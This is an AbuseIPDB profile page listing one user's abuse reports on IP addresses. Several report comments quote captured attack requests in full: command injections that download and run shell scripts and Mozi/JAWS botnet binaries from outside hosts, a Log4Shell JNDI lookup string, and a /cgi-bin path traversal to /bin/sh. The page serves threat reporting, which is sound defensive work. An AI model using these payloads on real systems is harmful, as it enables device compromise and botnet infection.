Jax - AbuseIPDB User Profile

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User Jax joined AbuseIPDB in March 2022 and has reported 120 IP addresses.

Standing (weight) is good.

INACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇻🇳 103.209.61.108	25 Mar 2026	IP is hosting a reverse shell on port 56001	Hacking
🇺🇸 102.129.232.64	08 Oct 2025	Brute force logins from a VPN service.	Brute-Force
🇨🇳 61.52.85.145	29 Apr 2025	Multiple command injection attempts observed.	Hacking Web App Attack
🇨🇳 42.227.201.140	23 Jan 2025	Hosts malicious payloads on port 59336	Exploited Host Web App Attack
🇮🇱 62.0.58.94	19 Jun 2024	This address is a Check Point DNS Sinkhole.	DNS Poisoning DNS Poisoning
🇮🇳 120.63.180.123	30 Nov 2023	Malicious IP 120.63.180[.]123 is attempting to perform a command injection by requesting. http:// ... show more Malicious IP 120.63.180[.]123 is attempting to perform a command injection by requesting. http://127.0.0[.]1/cgi-bin/downloadFile.cgi?payload=`wget http://194.180.48[.]100/l.sh;sh l.sh` show less	Hacking
🇳🇱 194.180.48.100	30 Nov 2023	This IP hosts a malicious payload. It is called with the request. http://127.0.0.1/cgi-bin/downlo ... show more This IP hosts a malicious payload. It is called with the request. http://127.0.0.1/cgi-bin/downloadFile.cgi?payload=`wget http://194.180.48.100/l.sh;sh l.sh` show less	Hacking
🇧🇬 185.225.74.55	14 Feb 2023	Attempted webshell exploit. POST /cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32 ... show more Attempted webshell exploit. POST /cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh HTTP/1.1 Host: <victim> Content-Type: text/plain Connection: close (wget http://185.225.74.55/ljc.sh; chmod +x ljc.sh; sh ljc.sh) echo Content-Type: text/plain; echo; (wget http://185.225.74.55/ljc.sh; chmod +x ljc.sh; sh ljc.sh) show less	Hacking Exploited Host
🇳🇱 5.2.72.244	13 Feb 2023	attempted ldap brute force mainAction=login&userName=${j${::-n}di:ldap${::-:}//n7rpm1ihcv46axb9s5 ... show more attempted ldap brute force mainAction=login&userName=${j${::-n}di:ldap${::-:}//n7rpm1ihcv46axb9s5j2.log.darkeye.ml}&password=aaaaa&authSourceId=localItem&authSourceType=LOCAL show less	Hacking
🇺🇸 71.208.77.191	08 Feb 2023	Attempted bashdoor exploit: SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget ... show more Attempted bashdoor exploit: SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://71.208.77.191:55378/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m` show less	Hacking
🇰🇷 106.246.224.219	23 Jan 2023	Being used to host a malicious payload {"command":"run","utilCmdArgs":"-c wget -q http://106[.]246. ... show more Being used to host a malicious payload {"command":"run","utilCmdArgs":"-c wget -q http://106[.]246.224.219/big \|\| curl http://106[.]246.224.219/big"} show less	Hacking Exploited Host
🇬🇧 87.236.176.237	22 Nov 2022	Self righteous dbags...	Hacking
🇨🇳 49.75.87.176	16 Nov 2022	brute force imap login attempt	Brute-Force
🇮🇳 117.223.90.130	25 Oct 2022	Is hosting a malicious payload on port 38766	Hacking
🇬🇧 152.89.196.211	17 Oct 2022	attempted remote code execution POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1	Hacking
🇮🇳 103.41.37.146	29 Sep 2022	Hosting malicious payload GET /shell?cd+/tmp;rm+-rf+;wget+http://103.41.37.146:52040/Mozi.a;chmod+ ... show more Hosting malicious payload GET /shell?cd+/tmp;rm+-rf+;wget+http://103.41.37.146:52040/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1 show less	Hacking Exploited Host
🇬🇧 143.159.103.32	21 Sep 2022	POST /spywall/timeConfig.php HTTP/1.1 User-Agent: XTC	Hacking
🇺🇸 185.216.71.192	20 Sep 2022	Is hosting malicious payload GET /shell?cd+/tmp;rm+-rf+;wget+185.216.71.192/jaws;sh+/tmp/jaws HTTP ... show more Is hosting malicious payload GET /shell?cd+/tmp;rm+-rf+;wget+185.216.71.192/jaws;sh+/tmp/jaws HTTP/1.1 show less	Exploited Host
🇮🇳 61.0.64.4	20 Sep 2022	Attempted JAWS exploit GET /shell?cd+/tmp;rm+-rf+*;wget+185.216.71.192/jaws;sh+/tmp/jaws HTTP/1.1	Hacking
🇬🇧 51.89.135.15	19 Sep 2022	attempted apache log4j GET /portal/info.jsp HTTP/1.1	Hacking
🇬🇧 51.89.135.15	13 Sep 2022	attempted apache RCE GET /portal/info.jsp HTTP/1.1	Hacking
🇬🇧 86.156.64.229	11 Sep 2022	POST /spywall/timeConfig.php HTTP/1.1	Hacking
🇪🇬 156.192.184.37	11 Sep 2022	/shell?cd+/tmp;rm+-rf+*;wget+81.161.229.46/jaws;sh+/tmp/jaws	Hacking
🇪🇬 197.57.90.6	07 Sep 2022	Attempted DVR Code injection.. GET /shell?cd+/tmp;rm+-rf+;wget+botnet.psscc.cn/jaws;sh+/tmp/jaws ... show more Attempted DVR Code injection.. GET /shell?cd+/tmp;rm+-rf+;wget+botnet.psscc.cn/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Connection: keep-alive show less	Hacking
🇷🇺 185.7.214.104	28 Jul 2022	attempted bash door	Web App Attack